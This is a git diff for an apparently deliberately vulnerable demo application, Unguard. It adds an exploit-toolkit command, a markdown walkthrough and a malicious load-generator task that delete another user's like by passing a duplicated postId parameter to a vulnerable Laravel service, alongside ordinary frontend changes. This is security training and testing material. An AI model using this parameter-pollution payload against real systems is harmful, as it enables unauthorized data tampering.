diff --git a/exploit-toolkit/exploit.py b/exploit-toolkit/exploit.py index b317a14d..a0a7141a 100644 --- a/exploit-toolkit/exploit.py +++ b/exploit-toolkit/exploit.py @@ -356,6 +356,35 @@ def sql_inject_mariadb(sql_command, target): click.secho('Exploit failed.', fg="red") +@cli.command() +@click.option('--target', + prompt='Unguard frontend', + default='unguard.kube', + help='The host and port where Unguard frontend runs') +@click.option('--post', + prompt='Post ID', + default='1', + help='The post ID of the post to unlike') +@click.option('--user', + prompt='User ID', + default='1', + help='The user ID of the user whose like should be removed (admanager always has ID 1)') +def sql_inject_unlike_post(post, user, target): + """ + Tries to remove a like for another user + """ + session = requests.session() + if not logged_in(session): + click.echo("Not logged in. Run login command first.") + return + + r = session.get(f'http://{target + frontend_base_path}/post', params={'postId': [post, user], 'like_delete': ''}, allow_redirects=False) + + # should always be status code 404 + click.echo('Request returned status code %s.' % str(r.status_code)) + click.secho('Exploit executed.', fg="green") + + def prepare_injected_payload(payload: str): """ Prepares redis payloads to be send via HTTP header injection in Apache HTTPClient diff --git a/exploit-toolkit/exploits/sql-injection/SQLI-LIKE-SERVICE-REMOVE-LIKE.md b/exploit-toolkit/exploits/sql-injection/SQLI-LIKE-SERVICE-REMOVE-LIKE.md new file mode 100644 index 00000000..fc105c6f --- /dev/null +++ b/exploit-toolkit/exploits/sql-injection/SQLI-LIKE-SERVICE-REMOVE-LIKE.md @@ -0,0 +1,38 @@ +# SQL Injection + +Utilizing [SQL injection](https://owasp.org/www-community/attacks/SQL_Injection) can lead to sensitive data being read +and/or databases to be modified (Insert/Update/Delete). +In addition, administrative operations such as shutting down the DBMS can also be completed. + +Unguard has a PHP microservice for handling likes that uses an unsafe version of Laravel, allowing you to remove another user's like on a post. When liking/unliking, normally, the PHP service would receive a post ID and a user ID, but with the right parameters, you can send two post IDs, leading to the latter one being misinterpreted as the user ID by Laravel ([see more details](https://security.snyk.io/vuln/SNYK-PHP-LARAVELFRAMEWORK-1060045)). + +## Preconditions and Requirements + +For this exploit to work you need: + +* [unguard](../../../docs/DEV-GUIDE.md) deployed and running +* (optional) [unguard-exploit-toolkit](../../INSTALL.md) set up + +## Removing another user's like +You can exploit the vulnerability in the PHP Like Service either with or without the Toolkit CLI. +In any case, you will have to find out the user ID of the user whose like you want to remove. +This ID is exposed indirectly through the Users page. The admanager user always has the ID 1, and you can see that it is listed at the top of the users page. +The user shown below the admanager has the ID 2, the one below that has the ID 3 etc. + +### w/o Toolkit CLI +Once you have the ID of the user whose like on a particular post you want to remove, head over to the frontend page for that post, e.g. http://unguard.kube/ui/post?postId=1. +You can get to that page by liking the post yourself. Then, in the search bar, modify the parameters thusly: +`http://unguard.kube/ui/post?postId=[POST_ID]&postId=[USER_ID]&like_delete`. +The second `postId` parameter is misinterpreted by Laravel as the user ID, and the like for that user will be deleted. After you load the site with these parameters, +you should see a 404 error. + +### With Toolkit CLI +You can use the `ug-exploit` tool for exploiting the vulnerability. Make sure to use `ug-exploit login` first. + +Afterwards, use `ug-exploit sql-inject-unlike-post` and enter the post and user ID. That should delete the specified user's like. The returned status code will always be 404. + + +## Further Details + +* [SQL Injection - OWASP](https://owasp.org/www-community/attacks/SQL_Injection) +* [SQL Injection affecting laravel/framework - Snyk](https://security.snyk.io/vuln/SNYK-PHP-LARAVELFRAMEWORK-1060045) diff --git a/src/frontend/site.js b/src/frontend/site.js index 4073add0..bae2722d 100644 --- a/src/frontend/site.js +++ b/src/frontend/site.js @@ -117,15 +117,13 @@ function showUsers(req, res) { async function showPersonalTimeline(req, res) { try { - - let [myTimeline, membership] = await fetchUsingDeploymentBase(req, () => Promise.all([ req.MICROBLOG_API.get('/mytimeline'), getMembershipOfLoggedInUser(req) ])) - let postArray = myTimeline.data;// + let postArray = myTimeline.data; postArray = await insertLikeCountIntoPostArray(req, postArray); let data = extendRenderData({ @@ -150,9 +148,12 @@ function showUserProfile(req, res) { req.MICROBLOG_API.get(`/users/${username}/posts`), getMembership(req, username) ]) - ).then(([bioText, microblogServiceResponse, membership]) => { + ).then(async ([bioText, microblogServiceResponse, membership]) => { + let postArray = microblogServiceResponse.data; + postArray = await insertLikeCountIntoPostArray(req, postArray); + let data = extendRenderData({ - data: microblogServiceResponse.data, + data: postArray, profileName: username, username: getJwtUser(req.cookies), isAdManager: hasJwtRole(req.cookies, roles.AD_MANAGER), diff --git a/src/frontend/views/post.njk b/src/frontend/views/post.njk index 262aa71c..2f972a49 100644 --- a/src/frontend/views/post.njk +++ b/src/frontend/views/post.njk @@ -51,19 +51,19 @@ limitations under the License. {% if (post.userLiked) %}
{% else %} {% endif %} diff --git a/src/malicious-load-generator/locustfile.py b/src/malicious-load-generator/locustfile.py index 991cdd9f..4a66cedd 100644 --- a/src/malicious-load-generator/locustfile.py +++ b/src/malicious-load-generator/locustfile.py @@ -17,7 +17,8 @@ import os import random import time -from locust import HttpUser, task, between + +from locust import HttpUser, between, task LOCATION_BASED_IPS = ['177.236.37.155', '49.210.236.225', @@ -169,6 +170,15 @@ def get_sql_golang(self): self.client.get("/users", params=sql_username, headers=self.get_random_x_forwarded_for_header()) time.sleep(1) + @task() + def post_sql_php(self): + post_id = 1 + user_id = 1 + + # try to remove the like of the admanger account (user ID 1) on the first post (post ID 1). + self.client.get("/post", params={'postId': [post_id, user_id], 'like_delete': ''}, headers=self.get_random_x_forwarded_for_header()) + time.sleep(1) + def on_start(self): curr_user = self.get_running_username() # super secure passwords :) diff --git a/src/user-simulator/README.md b/src/user-simulator/README.md index ca65ca99..9ab73aa4 100644 --- a/src/user-simulator/README.md +++ b/src/user-simulator/README.md @@ -7,6 +7,7 @@ Executes following tasks: * register / login * visit frontpage +* like a post * visit personal timelines * post text posts * post URL posts diff --git a/src/user-simulator/default-user-sim.perf.ts b/src/user-simulator/default-user-sim.perf.ts index 8a58fddc..cb1e401d 100644 --- a/src/user-simulator/default-user-sim.perf.ts +++ b/src/user-simulator/default-user-sim.perf.ts @@ -149,6 +149,14 @@ export default () => { await browser.visit(config.frontendUrl + '/') }) + step('Like post', async browser => { + await browser.visit(config.frontendUrl + '/') + const likeButton = await browser.maybeFindElement(By.css('input[type=hidden][name=postId] ~ button[type=submit]')) + await likeButton?.click(); + + console.log(`${user.username} liked a post: ${browser.getUrl()}`) + }) + step('Visit Timeline', async browser => { await browser.visit(config.frontendUrl + '/my-timeline') })